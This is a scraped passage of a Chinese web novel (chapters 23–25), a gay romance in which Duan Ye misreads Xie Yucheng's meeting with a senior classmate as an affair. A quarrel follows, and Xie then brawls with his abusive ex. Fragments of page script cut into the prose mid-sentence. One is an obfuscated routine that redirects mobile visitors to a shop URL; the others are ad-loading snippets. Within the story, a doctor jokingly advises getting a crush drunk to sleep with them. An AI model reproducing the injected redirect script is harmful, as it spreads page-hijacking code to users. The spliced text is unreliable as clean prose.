但自从分手后,或者说是身上的债务没了以后,他这人心里就没那么郁结了,很多事情也都想开了,不想再像以前那样被人牵着鼻子走。 就跟个叛逆期来迟了似的,以前他没条件叛逆,别人给什么吃什么,现在他想挑一挑。 服务生送来甜品,程善微递了一块给他。 “谢谢,但我最近有点牙疼,医生嘱咐不能吃甜食。”谢玉承婉拒道。 程善微尴尬地笑了笑,“我的问题,抱歉。” “您客气了,是我没有事先说清楚。”谢玉承找了个借口敷衍过去。 “牙疼是个病,如果你不介意的话,我有个朋友在牙科上班,要不明天我陪你去看看?” 谢玉承愣了一下,“没事的程总,老毛病了,我回去吃点消炎药就好。” “谢老师不觉得自己说话有点太客气了吗?”程善微显得有些无奈,低头切开一块班戟道:“您可以叫我善微,程总什么的,听起来过于生疏。好歹也是一个老师教出来的,何必呢?” 全职插画师的缺点就在于不善交际,谢玉承太久没有和陌生人社交,待在家的时间太长,换成朋友还好,这种带点工作性质的场合,他实在有点应付不过来。 想了许久,他这才试探性地开口,“学长?” 程善微咬着餐叉,唇角勾起一丝笑意,“这个也行,我很喜欢。” 谢玉承松了口气。 “学长应该知道我今天来的目的,院长那边打算办个画展,想麻烦您替我们借几副画。” · “非得逞强,这下好了,中暑了吧?”赵欣怡拧了条湿毛巾啪一下给他盖头上。 “胡说!哪有这么严重!”段也头晕目眩地点开搜索栏,输入自己的症状。 这不搜还好,一搜就说他这症状是猝死的前兆,网络医生建议他立马拨打120等着做心肺复苏。 段也劈头盖脸对着自动回复的机器人骂了一通,骂完越发觉得气血上涌,头一阵一阵地眩晕。 “哥……我哥呢……”他点开谢玉承的头像,按下语音键哼哼唧唧了半天,然而那头半点没有要回复的意思。 赵欣怡看热闹不嫌事大,“别发啦,你家谢老师跑出去和别的男人约会了,不要你咯~” “赵欣怡!”段也怒道。 赵欣怡拍拍胸口,“吸气——呼气——别真死了,真死了你家谢老师就要去找别的男人啰——” 段也差点没被她给气晕过去。 说话间,他收到一则消息,还以为是谢玉承终于回复了他,兴高采烈地打开手机,却发现是一则垃圾推送。 [灵机修行提醒您,卦象检测到您近期感情有变,快速点击以下链接,狐仙大人已为您做出指示!输入R退订。] 段也手滑点了进去。 [请支付199.99查看相关内容!] 段也:…… [RRRRRRRR!] 23.第 23 章 生病不能拖着,赵欣怡担心他真死了,赶紧叫了个车打算去找个地方看看。谁知道那个司机是个小半仙,非说自己懂医术,还要介绍段也去某个他认识的地方看病。 车开到目的地,入眼是个中西结合医馆,里面的老中医二话不说给他开了一堆药,中西搭配,吃了西药还要等着熬中药。 等待期间,他看到有个男人带着儿子来医馆看病。 “医生!快给我儿子看看!” “什么症状?”老师傅扶了扶眼镜。 男人道:“他喜欢男的!” 段也迷迷瞪瞪地睁开眼朝他们看去,只见老师傅给小男生把着脉,一副故弄玄虚地说他是什么肝气郁结啦,心脾两虚啦。 说了一大堆让人听不懂的话。 段也靠着墙笑了声,“同性恋还能治啊?” 老师傅正色道:“怎么不能治!” 随后指着头顶的锦旗道:“看看!看看!这些都是我治的!” 妙手回春,感谢恢复了家庭幸福啊,乱七八糟的东西。 “同性恋不是病,但是可以治!根本问题可能出现在家庭上,你们当家长的婚姻不幸福,很可能就会导致孩子不信任异性,从而使得那些多余的情感转嫁到同性身上去。”老师傅煞有介事地说道。 段也举双手表示赞同,“是啊是啊,同性恋可怕得很,还会传染呢!我就是被传染的!您刚才摸了我,您也被传染了!” “嘿!你这浑小子!” 正在看病的小男生冲着他笑了声,顺道还抛了个媚眼。 段也打了个哆嗦,赶紧看向一边。 “医生,我喜欢一男的,那男人天天说我是直男,可我就是喜欢他,喜欢得要死。万一他真的不肯接受我,我也来找您给我开贴药,忘情水什么的,让我别喜欢他了。” 中药熬煮的味道充斥着医馆,苦涩的味道弥漫在周围,段也心里莫名觉得烦躁。 他这人一向不这么纠结的,但就是感情方面,他一步三回头,总是小心翼翼,生怕给谢玉承吓跑了。 恐惧和不安围绕着他,有些话堆积在心里,也会造成肝气郁结。 “年轻人啊,那小男生走了,我也给你兜个底。我哪会医啥同性恋啊,现在都能结婚了,还什么病不病的?我就是只能开个方子打发打发他爸妈,像这种家里阻力大的,孩子难免会有点心理问题,我开的药都是疏肝理气的,免得他得抑郁症什么的。”老师傅抚着下巴上的胡子道。 段也呵笑一声,“唉,您老可真有意思。” 老师傅走过来拍拍他的肩,“其实感情方面,有时候就是不能想太多,我不是哄你开药,你真有点郁结在里面的。像你精力这么旺盛的年纪,我摸的你脉,是没有过性生活吧?” 段也来了点精神,“这您也能摸出来?” “这怎么摸不出来?”老师傅哼了一声道:“这样可不好,感情不能强求,欲望不能憋着,憋着就要憋坏,男男女女都这样,适当发泄,该谈恋爱就谈,人家不喜欢你你就换下一个,别一棵树上吊死。” 段也这下知道秦珊珊的精神状况怎么那么好了,避孕套成箱买,一个男人不爱了就换下一个,这精神状况能不好吗? “不换。”段也道:“吊死我也认了。” 接着他又道:“不过我觉得您说得也挺对了,我不能憋着,再憋,我真要死了。死之前,我总得告诉他我喜欢他吧?感情上的事,不能害怕,不说就是个死,说了死了也能死得明白点儿。” 老师傅叹了口气,“要不然我再给开贴药?” 段也摇头,“不了,下回我给我哥弄来给你看看,他禁欲太久了,多半有点儿郁结。” “吃药可以,治标不治本呐!禁欲禁出来的病,多干几回就对了!” 段也还以为自己听错了,慢悠悠朝他竖了个大拇指,“医生,您也是这个的。” 拎了熬好的中药,喝了一副后,头疼的症状稍微缓解了一点,看来也不是中暑地那么严重。 赵欣怡看了眼位置,说附近有家不错的糕点铺,就在某个酒店楼下,想顺道去买点。 那头谢玉承迟迟不回消息,段也其实没心思陪她去买,然而知道那家糕点铺子有卖凤梨酥,想着可以买点回去,给谢玉承换换口味,老吃一家有点儿腻。 “我哥最近有点儿牙疼,才挂了号准备过几天去看,我买不了多少。” 段也把买好的一整盒凤梨酥分了一半给赵欣怡。 “牙疼就别给他买了呗!” “不行,瞧见有卖的就想给他买,要不然心里总觉得对不起他。他吃不吃是一回事,我得买。” 赵欣怡呕了一声,“呸,可恶的男同性恋,好男人都被男人拐跑啦!” “这是又被绿了?”段也笑道。 赵欣怡脸色一变,捏着拳头道:“呸呸呸!说起这个我就来气,你知道这家酒店吧!上回儿我抓我前男友出轨,就是这家酒店!狗男女!当着我面搂搂抱抱地出来!气死我了!” 她骂得正上头,段也边听边笑,可没过多久,赵欣怡忽然发觉段也的神情变了,也不再往前走了。 “段老二?你怎么了?”赵欣怡停下来问道。 头顶的空调水落了几滴下来,路上一对情侣甜甜蜜蜜地从他们身边经过,一路说说笑笑地讨论着选个黄道吉日把婚结了。 段也凤梨酥的手一直在发抖。 顺着他的目光看过去。 酒店门外,那个熟悉的身影正背对着他们,程善微和他姿势亲昵,下楼梯的时候还轻轻扶住他。 自动门在他们身后缓缓合拢。 “今天聊得很愉快,谢老师,你以后还是得多出来玩一玩,别老是困在家里,多和人接触接触。”程善微摸出一支烟递给他。 “待会儿一起吃个饭?” 谢玉承接过烟,“不了学长,晚上还有点儿事呢。您也知道,最近过节,以前认识几个还不错的老板,叫我吃饭,都金主,我不好推。” “也是,工作重要,关系就是要多维护,以后合作起来也顺利。那什么,我过段时间有个项目,你要是感兴趣的话,到时候我给你发资料?” “那先谢谢学长了。” “和我说什么谢?”程善微看着他手上那张一直拿着没放的楼盘宣传单,“最近是有买房的打算?” 谢玉承点点头,“是有,但您也知道,我不是本地人,没有摇号资格,新房是不用想了,只能看看二手的。这几年房价居高不下,年年说要跌但年年都在涨,再不买,我怕以后真买不起了。” “是,这事儿得好好考虑,你一直住在前男友弟弟家里也不是个事,早点搬出来是好事。看你什么时候有空,我陪你去看看二手房?了解了解市场,说不定我也买一套呢?” 程善微举着火给他把烟点上。 隔着火焰,一股阴冷的压迫感自背后袭来。 谢玉承吐了口烟,正想说自己要走了。 “进展这么快,都要买房了?” 谢玉承微怔,回过头看到段也。 “阿也,你怎么来了?” 段也没看他,脸色难看地吓人,几乎没有什么血色,连嘴唇也有点苍白。 程善微低头盖上打火机,“是,买套房子才好成家。” 段也重重吸了口气,拳头捏地很紧,指甲几乎要陷进肉里。 “呵……成家,你比段三火要好点儿,那人空头支票开了好几年,分手了谢玉承半分钱没捞着,你至少还给买套房嘛。” 谢玉承听出他误会了,赶紧拉了拉他的衣服,低低哄道:“阿也,别这样,我和他……” “你和他。”段也看向他,眼睛里全是红血丝,“你想说你和他没什么?” 谢玉承点点头。 “没什么,从酒店里出来。” “什么?酒店?”谢玉承回头看了眼酒店,意识到这次的误会可能大了,“不是的阿也,我……” “我和谢老师有什么,轮不着你这个外人说道吧?他现在单身,和谁发生什么都很正常。反倒是你,难不成段少爷还有替哥哥监督前男友贞洁的喜好?”程善微夹枪带棒地说道,手里的打火机反反复复地开合。 “学长!”谢玉承顿时觉得脑子里有什么东西炸了,已经有了不好的预感。 段也张了张嘴,只觉得有什么东西把胸口给堵住了,那一瞬间,眼泪几乎是不受控制地流了出来,他不知道自己为什么会这样,大概是郁结吧,他想。 谢玉承也郁结。 这下应该是疏通了。 “所以呢,我确实没资格,那你呢谢玉承,一套房就和人上床啊?就这么廉价吗?就非得是他吗?我不行吗?”段也笑着却也哽咽着。 他的头又在痛了。 这次痛得他想死。 程善微把玩着手里的打火机,火苗熄了又燃起来,谢玉承盯着那火苗,脑子里一片空白。刚才段也说什么? 说他廉价? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730138|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >廉价? 是,他是挺廉价的,他的一生都很廉价,饶是他现在死了,也没人会给他收尸。 他觉得那团火正在灼烧着他。 “也不是很廉价吧,北城一套房呢,就连破小区少说得两百来万吧。谁要乐意给我买套房子,我当然心甘情愿陪他睡,想怎么睡怎么睡,我这条命也不值两百万啊。”谢玉承浅笑道。 他对上段也的眼睛,里面没什么情绪,只一字一字地说道:“段也,把我东西扔了吧,以后别见了。” 赵欣怡提着那袋子的中药把两人挡开。 “疯了啊!疯了就多喝点药!说些什么呢!有病啊你们俩!” “对啊。”谢玉承道:“我就是有病啊,男同性恋不就是病吗?觉得新鲜,想走后门的直男,也挺有病的吧。” 他撂下这句话,转过身直接走了。 没病的话,怎么会喜欢直男呢。 一滴水落在他身后,风渐起,要转凉了。 段也反应过来,内心几乎涌上一股难以控制的恐惧来,就如同当年他看着他哥把谢玉承领到他面前让他叫嫂嫂一样。 “哥。”他哭着唤了声,朝着谢玉承的方向走向几步,手里的凤梨酥往前伸了伸,“哥……我错了哥,你别走……我说错话了,对不起好不好?对不起……我、我还给你买了凤梨酥,咱俩回去看电视吃东西好不好?你别……” 程善微把他拦了下来,冷声道:“段老二,你想什么呢?” “滚开!”段也操起中药就朝他砸过去,袋子碎在他身上,将他那身西装给弄脏了。 赵欣怡尖叫一声,忙不迭给人拦住。 “程总,抱歉抱歉,衣服会赔给你的,麻烦你能去帮我看着点儿谢老师吗?” “他看什么看?!赵欣怡你让开!” 赵欣怡吼道:“姓程的,你他妈走不走啊到底!” 程善微冷哼一声,“放心,我肯定替你哥把他照顾好。” “我照顾你爹!” 段也往前冲了一步,脸上紧接着被狠狠甩了一耳光。 赵欣怡只觉得自己整条手臂都在发麻,咬牙骂道:“段老二,你疯够没啊!” 段也的耳朵嗡嗡作响,他盯着地上散落的中药,觉得自己真是吃药吃少了。 这一耳光没白挨。 刚才自己说了什么来着? 谢玉承又说了什么来着? 想着想着,他眼泪又出来了。 “姐,赵姐。”他蹲下身,完全不受控制地哽咽起来,红着眼睛道:“他不要我了……又不要我了……我怎么办啊……” 路上川流不息,头顶的银杏树见黄。 谢玉承盯着那些来来往往的车,脑子里空空荡荡地,他其实也不是生气,就是沮丧,沮丧什么呢,他也不太明白。 其实今天是个人都会误会的吧。 不过,段也误会就误会了,干嘛那么生气? 他们有关系吗? 自己和谁睡觉,对段也来说,重要吗? 不重要的吧。 程善微终于追上他,陪在他身边站了会儿,开口笑道:“谢老师,有纸吗?你看那段老二,不是纯纯有病是什么?拿个中药泼我一身……” “没有。”谢玉承撇过头冷冷道。 程善微耸耸肩,“哦,没事儿,我就问一下,没纸也没事,就是这衣服可能洗不干净了。” “你不自找的吗?” “啊?” “为什么被泼你心里没数吗?”谢玉承对他道:“要不是你说些让人误会的话,阿也不泼你难不成泼我吗?” “……” 谢玉承闭上眼睛,语气冷淡,“你别跟着我了,我不是什么好人,不是你想得那么美好。” 程善微还有点懵,“不是,谢老师,你该不会对段老二……” “嗯。” “?” “我喜欢他。” “??可他不是段焱的弟弟?”程善微彻底懵了。 “我喜欢他,和段焱有什么关系?”谢玉承哂笑了声道:“我都给你说了,我这人挺恶心的,叫你别来招惹我,你自己不听。” “……谢老师。” 谢玉承低着头慢悠悠地道:“我就是喜欢他啊,和段焱在一起之前就喜欢他,和段焱在一起之后还是忍不住想他,分手了,段也要我和他住一起,我多高兴啊,我谁也不敢说。我能怎么办呢?他不喜欢我,不会喜欢我,我能怎么办?!” 24.第 24 章 落地灯昏黄,体温计里的水银越过了39的刻线。 “快40度了!要死啊你!”赵欣怡怒骂道。 吃了退烧药温度却还是反反复复,再这样烧下去人就没了。 段也坐在电脑前也不知道在鼓捣啥,一副要死不活的样子,眼睛又红又肿,也不知道哭了多久。 他的背佝偻着,像是被人抽掉了魂似的。 电脑的分屏上,社交空间被隐藏的大部分内容一次拉不到底,那些他隔三差五发布在上面的内容是他感情的汇总,久久埋藏在心不敢宣之于口的文字是他暗恋的全部,或苦涩或甜蜜,饶是谢玉承以前给他端了杯水,摸到了残留在杯壁上的体温,他都会感到快乐。 那些微末的快乐,如今也快被他搞丢了。 他最窝囊的时候甚至庆幸过谢玉承是个段焱在一起,而非别人,这样一来他总有机会和谢玉承接触,哪怕时间太短,眼神不敢碰撞。 侯至在一旁唉声叹气,“我说赵啊,你还联系不到谢老师吗?” 赵欣怡摇头道:“没办法啊,我都给他打多少电话了,他愣是一个都不接。” “这下可好,谢老师指定被气着了,你说说,那些话谁听谁不膈应?更何况谢老师原本就有点儿在意这件事,快三十岁了没车没房身边也没个贴心人,说白了就是一事无成,换我到他那岁数还这样,我真宁肯死了得了。” 屋里的气氛一下子凝重起来。 赵欣怡呸了一声,“我说你,能劝劝,不能劝滚蛋!有你这样劝人的吗!再说几句待会儿段也就红温了,烧死在家里算谁的?!” “当然算谢老师的!”侯至怒道:“要我说,多大的人,还玩离家出走这一套啊!咱也哥啥心思啥想法,他谢玉承真就两眼一闭看不见啊!他可是快三十了!哄谁呢!” “嘿!你他妈有病吧猴子!”赵欣怡来了股火气,捞起袖子就去揍他。 家里顿时闹哄哄的,屏幕惨白光里是联系人发来的立项文件,那是他为谢玉承准备的生日礼物,一家新媒体出版公司,他想着,以后谢玉承用不着找活儿了,也不用在金主身上浪费时间了,自己可以做他最大的金主,可以给他数不清的的工作。 鼠标在黑白的纸页上滑动,可迷迷糊糊地,那些字眼仿佛都添上了廉价两个字。 所以自己做的那些又有什么用呢? 他再了解谢玉承的过去又有多大的意义呢,那些破旧的记忆是他没能参与进去的烂纸页,里面有无数人书写的痕迹唯独没有他的。 也许是太拘泥于过去了。 明明人就在自己面前,未来的时间还有很多,他明明可以让谢玉承未来的每一天都生活在光亮之中,关于过于那些无法参与到的不快只需要一点点地覆盖掉就好了。 是他想错了。 也做错了。 光是对他好有什么用呢,那么多的试探和挑拨一直都是原地踏步,他干嘛不往前迈一步,大不了就是被骂一顿,又不会死。 堆积在心的郁结光靠喝药没用,突然间的情绪爆发就是证明,得换种方式纾解才行。 赵欣怡在阳台上打电话找人,然而电话那头只频繁响起嘟嘟声,一点儿也没有要接的意思。 “干脆咱俩给他架去医院好了。”侯至拿着瓶酒靠着栏杆晃了晃,“这样下去也不是办法啊,谢老师找又找不到,总不能等他回来了再把也哥哄去医院吧,到时候人都没了。” 赵欣怡皱着眉头没理他。 侯至向外望去,市中心的一切灯红酒绿都落进他的眼里,不远处的标志性电视塔闪烁着明亮的光辉。钱是个好东西,没钱哪能住这么大的房子,看这么好看的风景。 肯花钱在市中心买这么套光有噱头毫无性价比的豪宅那是富二代才有的特权,上了年纪的富豪才不会买在这地段,有点闲钱的中产更不会选择这里。 “我有点理解谢老师了。” “嗯?” “免费住在这一好地方,自己要啥没啥,能不焦虑才怪呢。” “……你快别说了。”赵欣怡无奈道:“你们这些人啊,就是欲望的奴隶,金钱的奴隶,只要身体健康,有朋友有热闹,有钱没钱那不一样的吗?” “那能一样吗?有钱不花和没钱花不了,那是两回事!我乐意做金钱的奴隶,总比做女人的奴隶强!” “我呸!” “行了不说这个,你说,谢老师到底为什么会乐意住在也哥的房子里?他俩以前也不见得有多熟啊,见面也就点个头打个招呼的关系,偶尔在根据地喝喝酒。关键是,最重要的一点哈,谢老师真就觉得住进前男友弟弟的房子里没啥吗?换你,这事儿你干得出来?” 赵欣怡觉得没什么。 “谢老师性子淡,没这些弯弯绕绕的,他那时候刚分手,是段也带着他走出来的,最关键那两兄弟本身关系就水深火热,他住这儿不正好避开段三火吗?”赵欣怡道。 侯至的嘴角抽了抽,“得,你们谢老师干干净净清清白白,花花肠子全在我也哥肚子里行了吧。” 赵欣怡冲他竖了个中指,“滚蛋,他俩的事儿,咱们俩跟着操心啥。你还是想想办法怎么把你也哥弄医院去行了吧,免得等谢老师好不容易有消息了,他人都烧熟了。” “行,我去看看他。”侯至推开阳台门。 他前脚刚走,这头赵欣怡忽然接到了楚深的电话。 “喂,赵啊,谢玉承人呢?他不接电话,段老二也不接电话,他俩干嘛呢?” 赵欣怡嘟囔道:“段老二给他气跑了,昨晚就没回来,我刚准备打电话找你问问呢。” 电话那头沉默了会儿。 “……赵啊,我在外地接活儿呢,一时半会儿回不来。你把电话给段老二,我有事给他说。” 赵欣怡哦了一声,刚要起身。 侯至急匆匆地跑了回来,砰一声拍在阳台门上。 “操!也哥不见了!!” · 卫生间燃着的檀香冲散了呕吐物的味道,欧式吊顶照亮了昂贵精美的装潢,高级商务KTV里的厕所都带着金碧辉煌的意思,一侧被金箔包裹的全身镜里,谢玉承捧着冷水往脸上一遍遍地冲,许久才从强烈的醉意中稍微缓解过来。 他的衣服上沾着不少酒渍,私人DJ搓出的摇滚乐还在他脑海中如噪音般炸响,怎么都挥之不去,太阳穴突突直跳。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 洗手台上自取的小瓶漱口水被他用掉两瓶了才勉强能够掩盖住让他反复想吐的味道。 其实包间里也有卫生间,还挺大,但他就是想出来透透气,不想再喝了。以前甲方爸爸组的这种娱乐局他一向不喜欢参与,能推则推,但这次他甚至都没推,直接就来了。 这家商K他其实是熟的,以前来过不少次,段焱以前很喜欢在这里接待客户,每次都会叫上一大群陪酒的男男女女供自己和客户选择,酒水也是随随便便就上一整套,这地方只要一进门就得花钱,光是一个包厢的服务费都得一两万,还不包括酒水和陪酒模子的费用。 段焱以前每个星期都要来,他家的股份占大头,来这儿消费又有面子又不用自己给钱,直到有次老段总查到他在这里一个月的消费高达百万,这才紧急叫停。 手机响了一声,他以为又是赵欣怡或者别的什么朋友,但这次是备注名为[中介小刘]的联系人。 [谢先生,这是我给您找的几套房源,都有3D实景图,您先看看,按照您的预算,这些房子已经是三环内性价比最高的了。] 性价比…… 他光是看到这三个字就恶心。 干什么都要考虑性价比,他为钱这个字发愁了一辈子,就像是萦绕在自己灵魂上空的噩梦,把他憋得喘不过气来。 可人活在世上,图的不就是个钱吗,没钱就上不了学,病也生不起。 走廊上,几乎每个包厢都有保镖看门,个个西装领带大墨镜,不时有经理带着小妹进了包厢,吵闹声在开门的那一瞬间投出来,紧接着又被吞没了。 他走到露台,找服务生要了一杯玛格丽特,口味酸涩,说是失恋必点。 还说不想喝了,但看着露台外夜色正好,好像不喝杯酒就对不起这个夜景似的。他靠着扶杆,酒喝了一口就放在上面,从包里摸了根烟给自己点上。 有点下雨。 酒精和尼古丁的共同作用下,他的脑子逐渐开始不太清醒。从这个角度向外望去,北城夜景迷人,临江大厦前的裸眼3D屏上,是富哥富姐为他们的偶像投放的应援视频,按分钟计费,那钱花得比烧得还快。 迷迷糊糊间,他已经记不清自己已经来到这座城市多少年了。读书、恋爱、工作,可惜,到头来,他什么都没有。 钱没有、爱情没有、家就是更加奢侈的东西了。 明明已经努力了这么久,可连买一套新房的资格都没有。 他的户口还落在那个小小的县城里,小册子上的三个人,一个死了,一个失踪,就剩他一个人。 没有户口,就只能去二手市场上进行性价比选择,淘人家不要了的准备卖掉的房子。 这座城市这么大,明明可以容纳下这么多人,可偏偏却容纳不下他一个。 连房子都买不了,还怎么去肖想有个家呢。 越是这样想着,酒精上头的感觉就越发浓烈。 一滴水落下来,正巧浇熄了手里的烟。 大雨。 谢玉承敲了敲烟盒,没烟了。他叹了口气,转过身准备回包厢。 突然一支烟递到他面前。 “前男友,聊聊?” 25.第 25 章 身后暴雨倾盆,夹杂雨丝的凉意窸窸窣窣地往衣服里灌,看到段焱,他仍旧下意识地感到了恐惧,那些明明愈合的伤口在那一瞬间似乎重新在他皮肤上浮现。 “你怎么在这?”谢玉承哑声质问。 “反正不是跟踪你。”段焱见他没接烟,自己含了点上,“我出来透个气,妈的,你以为我想碰见你?糟心。” 多一事不如少一事,本来就不好的心情在见到段焱后更觉得烦躁,谢玉承是想走的,可听到这句话,一股无名之火轰地一声就给他点着了。 再大的雨都浇不熄。 “我还没说糟心呢,你先糟心上了?!” 段焱骂骂咧咧地回怼,“我怎么就不能糟心了?咱俩的事情唠清楚了吗?你知不知道我妈天天打电话问我们怎么还不定婚期?每次出去谈事,有些人老问我你呢!你呢你呢!一个个全他妈盯着我老婆看,操他妈的。” 谢玉承冷笑一声,眼底混合着寒意,“真好笑,段三火,敢情你也知道你那几个狐朋狗友盯着我看呐,他们摸我的时候你怎么不说呢?问我要不要3p的时候你怎么不说?现在谁他妈是你老婆?!别他妈胡说八道了,耽搁我找下家。” “下家?”段焱眯了眯眼睛,他今天穿了身黑色polo衫,本来就快三十了,穿衣裳还没什么品味,更显老,“谁是你下家?老二?” “管你屁事!”谢玉承没好气道,从他兜里抢了烟出来点着。 段焱打量了他一眼,问道:“你们上床了?” 谢玉承的手抖了一下,“你有病?” 空气里沉默了一会儿,段焱摸了把脸,低低问道:“段老二,他不会还不知道你喜欢他吧?” 谢玉承感觉到心里被一块大石头给砸了一下,咚地一声,连胸腔都在痛。 “哈……”段焱笑了声,紧接着笑得越来越大声。 “哈哈哈哈!宝贝儿,你他妈怎么还是这幅性子?老子心想你俩都住一起了,这么久他都该把你操熟了才对。你怎么回事?不对,应该是他怎么回事?他不喜欢你?还是说他那根东西也硬不起来?” “段、三、火!”谢玉承咬牙骂道:“你要不要脸!” “我不要啊。”段焱摊开手,一副无所谓的样子,“你又不是第一天才知道我不要脸的。” 他大概也是喝多了,领口上沾了不少的酒渍,招招手让服务生送来两杯龙舌兰。 “来吧宝贝儿,陪我喝一杯,咱俩唠唠,我想你也不希望我一直不向家里坦白咱们俩分手的事儿吧?把这杯酒给喝了,咱俩一笑泯恩仇,我也不骚扰你了,你也好和你家段也踏踏实实地□□。” 要不说是一个爹呢,段家俩兄弟互相再看不对眼,嘴贱地却是一模一样。 本来就一肚子的气,谢玉承想来想去,怎么也没想通自己当初不和段焱打一架,打赢打输没关系,至少没那么窝囊。 如今过去这么久,他藏在心里的窝火被段焱一点点地拔出来,终于是爆发了,他直接拎起酒杯砸在段焱额头上。 “我喝你大爷!” 段焱被砸地懵了,晃了晃脑袋,低骂了声,冲上去就把他摁在地上。 “谢玉承!你他妈敢打我!” · 又是那家中西结合医馆。 外面下了一场很大的雨,段也躺在椅子上输液,他盯着输液瓶,里面的药水一滴一滴地往下落,他觉得自己整条手臂都是冷的。他已经很久没觉得这么冷的,就跟有人把他的手臂放在冰箱里,冻得僵硬。 “我说小伙子,你要糟蹋自己也不是这么糟蹋的吧,一边发高烧一边淋着雨过来输液,你到底是想死还是想活呢?”老中医叹了口气道。 旁边还躺着几个输着液昏昏欲睡的病人,雨夜的医馆好像也别有一番风味。 “想□□。” 隔壁床的男人一下子睁开眼睛,目测是被他这句话给吓醒的。 老师傅的老花镜垮到了鼻尖上,目光从屏幕上的美女团播转移到了他身上。 “小伙子,你该不会是憋出高烧的吧?” “有可能。”段也漫不经心道。 “给你说了,人啊,不能憋,有欲望就要找地方发泄。” “您说这话不觉得有点太渣了吗?”段也苦笑道。 老中医敲了敲桌子,“这哪能叫渣呢?小子,老夫说一话,你别不乐意听。我这么大岁数,吃过的盐比你吃过的米还多。不就这点事儿吗?要谈恋爱就谈,不谈就滚蛋。就、就前段时间,我那侄儿,头天还单着呢,第二天就莫名其妙和一个女的领了证,爱情嘛,不冲动就不是爱情了,你说是不是?” 段也觉得他这话说得很对。 爱情嘛,就该冲动一点。 “等病好了,去多喝几杯,认识几个帅小伙,要不然呢,你就把你心上人给灌醉了睡了,一步到位,都成年人,简单一点对大家都好。” “那要是那个人是我嫂子呢?”段也问。 “俗话说得好,好吃不过饺子,好玩不如嫂子。” 段也:“我还真是小看您了。” 老中医道:“那确实。” “为老不尊。” “……好好说,别骂人哈!我这人道德观念很强的!嘴上功夫,说了又不犯法!” 退烧药的作用下,体温被快速压制了下来,如果喜欢这种东西也可以被药液迅速压制下来的话,那一切就都好办了。 医馆门前传来一声猫叫。 一只浑身被淋湿的小黑猫从雨里走进来,看了眼屋内的人,随后又往回退了几步,躲在屋檐的黑暗处舔舐毛发。 那小心翼翼的步伐就和自己迈不出步子的心意一样,分明都走进来了,但面对可能的威胁,却还是退了回去。 “经常来。”老中医说道:“有个小护士时不时会给它喂点东西,你要是喜欢的话可以抱回去养。” 段也没说话。 养宠物是件大事,他得和……和谁商量呢?谢玉承都要搬出去住了,连东西都不要,直接就要走。 干脆果断地这么狠心。 手机持续不断地传来震动声,搅得人心神不宁,段也知道是哪些人打给自己的,但他现在一个电话都不想接,脑子里唯一的想法就是赶紧退烧,恢复点精力好去找谢玉承卖个乖,看能不能想想法子先把人哄回来再说。 得哄啊。 喜欢一个人不就是得哄吗。 他本来那么喜欢,喜欢到恨不得把人给供起来,生怕让人受一丁点委屈。可自己怎么就那么嘴贱,那些伤人的字眼居然就毫不客气地摔人脸上了。 这下可好,人跑了。 要不然让侯至去画室报个班上呢?谢玉承总不能扔下画室不管吧,等上课的时候肯定要回去的,到那时自己可以拿着侯至当借口天天去找他。 不信哄不回来。 对,就这样。 反正侯至那小子也缺钱,大不了自己给他开工资让他去上课。 想着想着,他觉得这是个绝佳的好主意,打算现在就给赵欣怡说一声,让她先给侯至在画室报名表上登个记什么的。 他拿起手机,一看上面已经堆积了数十个未接来电了。 赵欣怡给他无数条消息。 “你把这瓶药输完还有一瓶哈,时间还早着呢,你自己看着点儿,有事叫我,我得眯个瞌睡。”老师傅打了个呵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 欠道。 段也打开聊天框。 [你去哪了!!!急死个人啊!死之前能不能先给我们说一声,你们俩没一个让人省心的!都多大个人了!] [现在已经知道谢老师在哪了,不过他发消息来让我们别管他,也别找他。] [段老二,我给你说件事,你先别激动哈。] [方燕妮今天不是在麒麟城陪她小舅舅唱K吗?她说她在麒麟城碰见谢老师了。] 段也:[麒麟城?他去那儿干嘛?] 赵欣怡:[老天爷,你终于肯回消息了!我不知道他为什么去,问题是,他和段焱在一块儿,俩人还打了一架,现在又不知道去哪了!] 外面闪过一道雷光。 赵欣怡:[喂,你别激动哈!你怎么又不回消息了!你人呢!] 剧烈的轰隆声把老师傅给惊醒了,他抬头一看,只见段也正一把将手背上的针管扯了下来。 “卧槽!小伙子!你去哪!手上在飙血啊!不是!钱还没给呢!” · 雨声掩盖了吵闹声,灯光摇摇晃晃地洒在露台,雨丝密集。 段焱把他抵在地上,拳头高高举了起来。 “打啊!反正你又不是第一次打!”谢玉承嘶吼道。 他现在肾上腺素飙升,可醉酒后的身体完全使不出力气,让他根本没法反抗。 段焱暗骂了一声,没打下去,可他刚把拳头放下,谢玉承一脚踢中他□□。 杀猪般的尖叫声在露台上传开,谢玉承爬起来,抓住机会又踹了他两脚。 保安接到消息接二连三地冲上了露台,以极快的速度将他们分开。来这里消费的都是有头有脸的人,保安队长谁也不敢得罪,没想成定睛一看,居然还是熟人。 “小段总!您……您和谢先生……这是怎么了?”队长战战兢兢地问道:“夫妻矛盾啊?” 有个新来的小保安没看懂状况,“老大,要报警吗?!” “报个屁!”段焱捂着裆,脸上一点血色都没有,疼得直叫唤,“够狠的啊宝,好歹咱俩睡了那老些年,你真就下得了狠心?” “你不也没怎么狠心就打了吗?”谢玉承没好气道。 段焱说不出个不对来,连连叹气,“那你也不能踢这儿啊。” 谢玉承哂笑一声,“踢了又怎么样?你那东西反正也没用,踢也踢不坏,难不成我还能踢烂你尿管?” 积在心里的气这次是真完完全全发泄了,谢玉承靠在墙上缓缓坐下,脑子里还晕乎乎地,可心里却很舒坦。 再委屈,这下也不委屈了。 “宝啊,有些事儿你也不必当着这么多人的面提啊,多少也给我留点面子成不成?”段焱哭丧着看了圈周围的保安。 